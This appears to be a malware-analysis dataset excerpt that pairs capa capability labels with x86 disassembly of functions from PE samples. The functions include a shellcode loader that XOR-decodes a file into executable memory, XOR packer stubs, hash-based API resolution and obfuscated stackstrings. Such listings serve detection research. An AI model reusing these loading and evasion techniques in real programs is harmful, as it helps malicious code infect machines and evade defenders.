joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5df2a1f9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x5df2a243
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x5df2a1ea
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x5df2a1f9
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x5e32fe9c
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x5df2a24a
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.5df110c0
cmp eax, dword [ebp + 0xc]
pop eax
je 0x5df2a2e9
add edi, 4
add eax, 2
dec ecx
jne 0x5df2a22f
call 0x5df2a296
loope 0x5df2a28c
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x5df2a2e6
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x5df2a2f7
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x5df2a2aa
cmp eax, ecx
ja 0x5df2a2aa
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x5df2a334
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x5df2a32a
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.5df1159f
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
mov ecx, 0x63506fff
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
mov ecx, 0x2fc34c24
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x45b758
Capabilities:
Packed with generic packer

Disassembly:
push ebp
push esp
pop ebp
add esp, 0xffffffe4
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1c], edx
push eax
pop edi
xor eax, eax
push ebp
push 0x45b860
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
push edi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
sub esi, esi
lea edx, [ebp - 0x1c]
mov eax, 0x45b878
call fcn.00459098
mov eax, dword [ebp - 0x1c]
call fcn.0040525c
push eax
push 0x45b8ac
call sub.KERNEL32.DLL_LoadLibraryA
push eax
call fcn.00456fc4
mov dword [0x4602dc], eax
pushal
popal
push 0x10
pop ebx
push esi
pop eax
sub eax, 1
jb 0x45b7c9
je 0x45b804
jmp 0x45b83a
push 0x41
push 0
push 0
mov eax, dword [ebp - 4]
add eax, 8
push eax
mov eax, dword [ebp - 8]
push eax
push 0xffffffffffffffff
push edi
call dword [0x4602dc]
push 0x41
push 0
push 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
add eax, 8
push eax
push 0xffffffffffffffff
push edi
call dword [0x4602dc]
mov esi, 1
jmp 0x45b83a
push 0x41
push 0
push 0
mov eax, dword [ebp - 4]
sub eax, 8
push eax
mov eax, dword [ebp - 8]
push eax
push 0xffffffffffffffff
push edi
call dword [0x4602dc]
push 0x41
push 0
push 0
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
sub eax, 8
push eax
push 0xffffffffffffffff
push edi
call dword [0x4602dc]
sub esi, esi
push 0xffffffffffffffff
push 0x32
call sub.KERNEL32.DLL_SleepEx
dec ebx
jne 0x45b7be
sub eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45b867
lea eax, [ebp - 0x1c]
call fcn.00404d9c
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x411650
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x970e24
push eax
push dword fs:[0]
mov dword fs:[0], esp
xor eax, eax
mov dword [eax], ecx
push eax
inc ebp
inc ebx
outsd dx, dword [esi]
insd dword es:[edi], dx
jo 0x4116d0
arpl word [edx + esi], si
mov ah, 0xa5
mov edx, 0x4292a77f
fdiv dword [ebp + 0x1f]
sub ch, ah
pop esp
xchg edx, eax
mov bl, 0xa0
invalid
lahf
xlatb
jae 0x4116fb
xchg edi, eax
lodsd eax, dword [esi]
add dword [0xdfaab976], ebp
bound ebx, qword [ebx - 0x691f9968]
hlt
and ch, byte [esi - 0xd]
sub ch, bl
or al, byte [edx]
jae 0x411701
add dh, byte [ebx - 3]
inc ebp
mov al, byte [0xd42b7a3]
mov esi, 0x601e3dd
imul ebp, dword [ebp + 0x17f2f395], 0xfffffff8
mov al, byte [0x20fe54f8]
add dword [esi], ebp
or dword [esp + eax + 0x6f97bc1d], 0xb91eb384
fidivr dword ds:[0x7103c76d]
invalid
Function at 0x403000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, edx
mov edx, ecx
push esi
push edi
mov dword [ebp - 0xc], ebx
mov eax, dword [edx + 0x3c]
mov dword [ebp - 8], edx
mov ecx, dword [eax + edx + 0x78]
mov eax, dword [eax + edx + 0x7c]
add ecx, edx
mov dword [ebp - 0x10], eax
mov eax, ebx
shr eax, 0x10
mov dword [ebp - 4], ecx
test eax, eax
je 0x403077
mov esi, dword [ecx + 0x20]
xor edi, edi
mov ebx, dword [ecx + 0x24]
add esi, edx
add ebx, edx
cmp dword [ecx + 0x18], edi
jbe 0x403077
mov ecx, dword [esi]
add ecx, edx
xor edx, edx
cmp byte [ecx], dl
je 0x403057
nop word [eax + eax]
inc edx
cmp byte [ecx + edx], 0
jne 0x403050
push ecx
call fcn.00404be0
add esp, 4
cmp eax, dword [ebp - 0xc]
je 0x403089
mov eax, dword [ebp - 4]
inc edi
mov edx, dword [ebp - 8]
add esi, 4
add ebx, 2
cmp edi, dword [eax + 0x18]
jb 0x403040
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov dword [eax], 0
xor eax, eax
mov esp, ebp
pop ebp
ret
movzx eax, word [ebx]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push eax
call fcn.00402ce0
push dword [ebp - 0x10]
mov edx, dword [ebp - 4]
mov esi, eax
mov ecx, esi
call fcn.00402aa0
add esp, 8
test eax, eax
je 0x4030b7
mov ecx, esi
call fcn.00401e50
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404be0
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov eax, dword [0x465040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, edx
lea eax, [ebp - 0x44]
push edi
mov edx, 0x40
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub edx, 1
jne 0x404c00
push ebx
mov ebx, esi
lea edx, [ebp - 0x44]
shr ebx, 2
mov edi, ebx
test edi, edi
je 0x404c2f
nop word [eax + eax]
mov eax, dword [ecx]
add ecx, 4
mov dword [edx], eax
add edx, 4
sub edi, 1
jne 0x404c20
mov edi, esi
and edi, 3
je 0x404c4e
sub edx, ecx
nop dword [eax + eax]
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
sub edi, 1
jne 0x404c40
xor edx, edx
test esi, esi
jle 0x404c6b
mov cl, byte [ebp + edx - 0x44]
lea eax, [ecx - 0x41]
cmp al, 0x19
ja 0x404c66
add cl, 0x20
mov byte [ebp + edx - 0x44], cl
inc edx
cmp edx, esi
jl 0x404c54
mov dword [ebp - 0x48], esi
lea edx, [ebp - 0x44]
mov edi, 0xb801fcda
cmp esi, 4
jl 0x404cb3
mov eax, ebx
neg eax
lea esi, [esi + eax*4]
nop dword [eax]
nop word [eax + eax]
imul ecx, dword [edx], 0x5bd1e995
add edx, 4
imul edi, edi, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
xor edi, ecx
sub ebx, 1
jne 0x404c90
xor ecx, ecx
pop ebx
sub esi, 1
je 0x404cd5
sub esi, 1
je 0x404ccc
sub esi, 1
jne 0x404cda
movzx ecx, byte [edx + 2]
shl ecx, 0x10
movzx eax, byte [edx + 1]
shl eax, 8
xor ecx, eax
movzx eax, byte [edx]
xor ecx, eax
imul edx, dword [ebp - 0x48], 0x5bd1e995
imul ecx, ecx, 0x5bd1e995
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul ecx, eax, 0x5bd1e995
imul eax, edi, 0x5bd1e995
pop edi
pop esi
xor ecx, eax
mov eax, edx
shr eax, 0x18
xor eax, edx
imul ecx, ecx, 0x5bd1e995
imul eax, eax, 0x5bd1e995
xor ecx, eax
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00437671
mov esp, ebp
pop ebp
ret
Function at 0x41f2b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x465040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xe
push 0xa86f8bb2
mov edx, 0xf
mov esi, ecx
call fcn.00404980
add esp, 8
push 0
push 2
call eax
mov edi, eax
test edi, edi
je 0x41f4d2
push 0xd
push 0x5e57b014
mov edx, 0xf
mov dword [ebp - 0x230], 0x22c
call fcn.00404980
add esp, 8
lea ecx, [ebp - 0x230]
push ecx
push edi
call eax
test eax, eax
jne 0x41f33c
push 0x5b
push 0xca528872
lea edx, [eax + 0xf]
call fcn.00404980
add esp, 8
push edi
call eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00437671
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, 0x7f
mov byte [ebp - 0x24c], 0
mov byte [ebp - 0x24b], 0xc
mov byte [ebp - 0x24a], 0xf
mov byte [ebp - 0x249], 0x6b
mov byte [ebp - 0x248], 0xf
mov byte [ebp - 0x247], 0x43
mov byte [ebp - 0x246], 0xf
mov byte [ebp - 0x245], 0x2f
mov byte [ebp - 0x244], 0xf
mov byte [ebp - 0x243], 0x3e
mov byte [ebp - 0x242], 0xf
mov byte [ebp - 0x241], 0x4d
mov byte [ebp - 0x240], 0xf
mov byte [ebp - 0x23f], 0xc
mov byte [ebp - 0x23e], 0xf
mov byte [ebp - 0x23d], 0x4d
mov byte [ebp - 0x23c], 0xf
mov byte [ebp - 0x23b], 0x76
mov byte [ebp - 0x23a], 0xf
mov byte [ebp - 0x239], 0xc
mov byte [ebp - 0x238], 0xf
mov byte [ebp - 0x237], 0x6b
mov byte [ebp - 0x236], 0xf
mov byte [ebp - 0x235], 0xc
mov byte [ebp - 0x234], 0xf
mov byte [ebp - 0x233], 0xf
mov byte [ebp - 0x232], 0xf
mov al, byte [ebp - 0x24b]
mov al, byte [ebp - 0x24c]
test al, al
jne 0x41f437
xor ecx, ecx
mov al, byte [ebp + ecx - 0x24b]
movzx eax, al
sub eax, 0xf
imul eax, eax, 0x33
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + ecx - 0x24b], dl
inc ecx
cmp ecx, 0x1a
jb 0x41f411
push 0x51
push 0xcd7328ca
mov edx, 0xf
call fcn.00404980
add esp, 8
lea ecx, [ebp - 0x24b]
push ecx
lea ecx, [ebp - 0x20c]
push ecx
call eax
test eax, eax
jne 0x41f494
push 0xc
call fcn.0043c243
xorps xmm0, xmm0
add esp, 4
movq qword [eax], xmm0
mov dword [eax + 8], 0
test eax, eax
je 0x41f4ba
mov ecx, dword [ebp - 0x228]
mov dword [eax], ecx
mov ecx, dword [esi + 4]
mov dword [eax + 8], ecx
mov ecx, dword [esi + 4]
mov dword [ecx], eax
add eax, 4
mov dword [esi + 4], eax
push 0xc
push 0xc9a81ce0
mov edx, 0xf
call fcn.00404980
add esp, 8
lea ecx, [ebp - 0x230]
push ecx
push edi
call eax
test eax, eax
jne 0x41f342
push 0x5b
push 0xca528872
mov edx, 0xf
call fcn.00404980
add esp, 8
push edi
call eax
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00437671
mov esp, ebp
pop ebp
ret
Function at 0x422d30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0x4b
mov byte [ebp - 0x1e], 0x7a
mov byte [ebp - 0x1d], 0xf
mov byte [ebp - 0x1c], 0x7a
mov byte [ebp - 0x1b], 1
mov byte [ebp - 0x1a], 0x7a
mov byte [ebp - 0x19], 0x50
mov byte [ebp - 0x18], 0x7a
mov byte [ebp - 0x17], 0x50
mov byte [ebp - 0x16], 0x7a
mov byte [ebp - 0x15], 0x23
mov byte [ebp - 0x14], 0x7a
mov byte [ebp - 0x13], 0x31
mov byte [ebp - 0x12], 0x7a
mov byte [ebp - 0x11], 4
mov byte [ebp - 0x10], 0x7a
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x7a
mov byte [ebp - 0xd], 0x50
mov byte [ebp - 0xc], 0x7a
mov byte [ebp - 0xb], 0x6f
mov byte [ebp - 0xa], 0x7a
mov byte [ebp - 9], 1
mov byte [ebp - 8], 0x7a
mov byte [ebp - 7], 0x45
mov byte [ebp - 6], 0x7a
mov byte [ebp - 5], 0x7a
mov byte [ebp - 4], 0x7a
mov al, byte [ebp - 0x1f]
mov al, byte [ebp - 0x20]
mov ebx, 0x7f
test al, al
jne 0x422de4
xor esi, esi
nop dword [eax]
mov al, byte [ebp + esi - 0x1f]
mov ecx, 0x7a
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x2d
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x1f], dl
inc esi
cmp esi, 0x1c
jb 0x422dc0
lea eax, [ebp - 0x1f]
push eax
call fcn.00424130
mov eax, dword [0x466ae4]
add esp, 4
xor esi, esi
mov byte [0x466ae0], 0
cmp eax, 0xffffffff
je 0x422e11
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
mov eax, dword [0x466b18]
cmp eax, 0xffffffff
je 0x422e29
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, eax
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0x6d
mov byte [ebp - 0x1e], 0x4b
mov byte [ebp - 0x1d], 0x14
mov byte [ebp - 0x1c], 0x4b
mov byte [ebp - 0x1b], 0x7a
mov byte [ebp - 0x1a], 0x4b
mov byte [ebp - 0x19], 0
mov byte [ebp - 0x18], 0x4b
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0x4b
mov byte [ebp - 0x15], 0x48
mov byte [ebp - 0x14], 0x4b
mov byte [ebp - 0x13], 0x43
mov byte [ebp - 0x12], 0x4b
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x4b
mov byte [ebp - 0xf], 0
mov byte [ebp - 0xe], 0x4b
mov byte [ebp - 0xd], 0xa
mov byte [ebp - 0xc], 0x4b
mov byte [ebp - 0xb], 0x7a
mov byte [ebp - 0xa], 0x4b
mov byte [ebp - 9], 0x3e
mov byte [ebp - 8], 0x4b
mov byte [ebp - 7], 0x4b
mov byte [ebp - 6], 0x4b
mov al, byte [ebp - 0x1f]
mov al, byte [ebp - 0x20]
test al, al
jne 0x422ec1
xor ecx, ecx
mov al, byte [ebp + ecx - 0x1f]
movzx eax, al
sub eax, 0x4b
imul eax, eax, 0x33
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + ecx - 0x1f], dl
inc ecx
cmp ecx, 0x1a
jb 0x422ea1
lea eax, [ebp - 0x1f]
push eax
call fcn.00424130
add esp, 4
test esi, esi
sete al
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x423930
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov byte [ebp - 0x2c], 0
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x1d
mov byte [ebp - 0x29], 0x75
mov byte [ebp - 0x28], 0x1d
mov byte [ebp - 0x27], 0x3a
mov byte [ebp - 0x26], 0x1d
mov byte [ebp - 0x25], 0xf
mov byte [ebp - 0x24], 0x1d
mov byte [ebp - 0x23], 1
mov byte [ebp - 0x22], 0x1d
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0x1d
mov byte [ebp - 0x1f], 0x13
mov byte [ebp - 0x1e], 0x1d
mov byte [ebp - 0x1d], 0x4c
mov byte [ebp - 0x1c], 0x1d
mov byte [ebp - 0x1b], 0x57
mov byte [ebp - 0x1a], 0x1d
mov byte [ebp - 0x19], 0x33
mov byte [ebp - 0x18], 0x1d
mov byte [ebp - 0x17], 0x33
mov byte [ebp - 0x16], 0x1d
mov byte [ebp - 0x15], 0x1d
mov byte [ebp - 0x14], 0x1d
mov al, byte [ebp - 0x2b]
mov al, byte [ebp - 0x2c]
mov ebx, 0x7f
test al, al
jne 0x4239d9
xor esi, esi
nop
mov al, byte [ebp + esi - 0x2b]
movzx ecx, al
sub ecx, 0x1d
lea eax, [ecx*8]
sub eax, ecx
shl eax, 2
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x2b], dl
inc esi
cmp esi, 0x18
jb 0x4239b0
lea eax, [ebp - 0x2b]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
test edi, edi
je 0x423a84
mov byte [ebp - 0x10], 0
mov byte [ebp - 0xf], 0x6e
mov byte [ebp - 0xe], 0x56
mov byte [ebp - 0xd], 0x2b
mov byte [ebp - 0xc], 0x6c
mov byte [ebp - 0xb], 0x7a
mov byte [ebp - 0xa], 0x28
mov byte [ebp - 9], 0x4d
mov byte [ebp - 8], 0x41
mov byte [ebp - 7], 0x30
mov byte [ebp - 6], 0x53
mov byte [ebp - 5], 0x76
mov byte [ebp - 4], 0x68
mov byte [ebp - 3], 0x7e
mov byte [ebp - 2], 0x59
mov byte [ebp - 1], 0x34
mov al, byte [ebp - 0xf]
mov al, byte [ebp - 0x10]
test al, al
jne 0x423a6a
xor esi, esi
nop dword [eax]
mov al, byte [ebp + esi - 0xf]
mov ecx, 0x34
movzx eax, al
sub ecx, eax
mov eax, ecx
shl eax, 5
sub eax, ecx
add eax, eax
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0xf], dl
inc esi
cmp esi, 0xf
jb 0x423a40
lea eax, [ebp - 0xf]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 3
push 1
push 0
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424130
Capabilities:
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp byte [0x46883d], 0
je 0x424148
mov ecx, dword [ebp + 8]
lea edx, [ebp + 0xc]
pop ebp
jmp fcn.00423c90
pop ebp
ret

Function at 0x424150
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp byte [0x46883e], 0
je 0x424168
mov ecx, dword [ebp + 8]
lea edx, [ebp + 0xc]
pop ebp
jmp fcn.00423c90
pop ebp
ret
Function at 0x425500
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [esi + 0x14], 7
jbe 0x425513
mov esi, dword [esi]
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 9
mov byte [ebp - 0x1e], 0x21
mov byte [ebp - 0x1d], 0x4c
mov byte [ebp - 0x1c], 0x21
mov byte [ebp - 0x1b], 0xb
mov byte [ebp - 0x1a], 0x21
mov byte [ebp - 0x19], 0x71
mov byte [ebp - 0x18], 0x21
mov byte [ebp - 0x17], 0x2d
mov byte [ebp - 0x16], 0x21
mov byte [ebp - 0x15], 0xb
mov byte [ebp - 0x14], 0x21
mov byte [ebp - 0x13], 0x71
mov byte [ebp - 0x12], 0x21
mov byte [ebp - 0x11], 0x49
mov byte [ebp - 0x10], 0x21
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x21
mov byte [ebp - 0xd], 0x35
mov byte [ebp - 0xc], 0x21
mov byte [ebp - 0xb], 9
mov byte [ebp - 0xa], 0x21
mov byte [ebp - 9], 0x25
mov byte [ebp - 8], 0x21
mov byte [ebp - 7], 0x2a
mov byte [ebp - 6], 0x21
mov byte [ebp - 5], 0x21
mov byte [ebp - 4], 0x21
mov al, byte [ebp - 0x1f]
mov al, byte [ebp - 0x20]
test al, al
jne 0x4255b6
xor ecx, ecx
lea edi, [ecx + 0x7f]
mov al, byte [ebp + ecx - 0x1f]
movzx eax, al
sub eax, 0x21
imul eax, eax, 0x29
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x1f], dl
inc ecx
cmp ecx, 0x1c
jb 0x425596
lea eax, [ebp - 0x1f]
push esi
push eax
call fcn.00424130
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x4255d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
mov esi, dword [ebp + 8]
push edi
cmp dword [esi + 0x14], 7
jbe 0x4255e3
mov esi, dword [esi]
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0x6b
mov byte [ebp - 0x1a], 0x70
mov byte [ebp - 0x19], 0x1f
mov byte [ebp - 0x18], 0x70
mov byte [ebp - 0x17], 0x76
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], 0x70
mov byte [ebp - 0x13], 0x25
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0x11], 0x7c
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x62
mov byte [ebp - 0xe], 0x70
mov byte [ebp - 0xd], 0x62
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0xb], 0x5f
mov byte [ebp - 0xa], 0x70
mov byte [ebp - 9], 0x6b
mov byte [ebp - 8], 0x70
mov byte [ebp - 7], 7
mov byte [ebp - 6], 0x70
mov byte [ebp - 5], 0x62
mov byte [ebp - 4], 0x70
mov byte [ebp - 3], 0x70
mov byte [ebp - 2], 0x70
mov al, byte [ebp - 0x1b]
mov al, byte [ebp - 0x1c]
test al, al
jne 0x425680
xor ecx, ecx
lea edi, [ecx + 0x7f]
nop
mov al, byte [ebp + ecx - 0x1b]
movzx eax, al
sub eax, 0x70
imul eax, eax, 0x13
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + ecx - 0x1b], dl
inc ecx
cmp ecx, 0x1a
jb 0x425660
lea eax, [ebp - 0x1b]
push esi
push eax
call fcn.00424130
add esp, 8
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4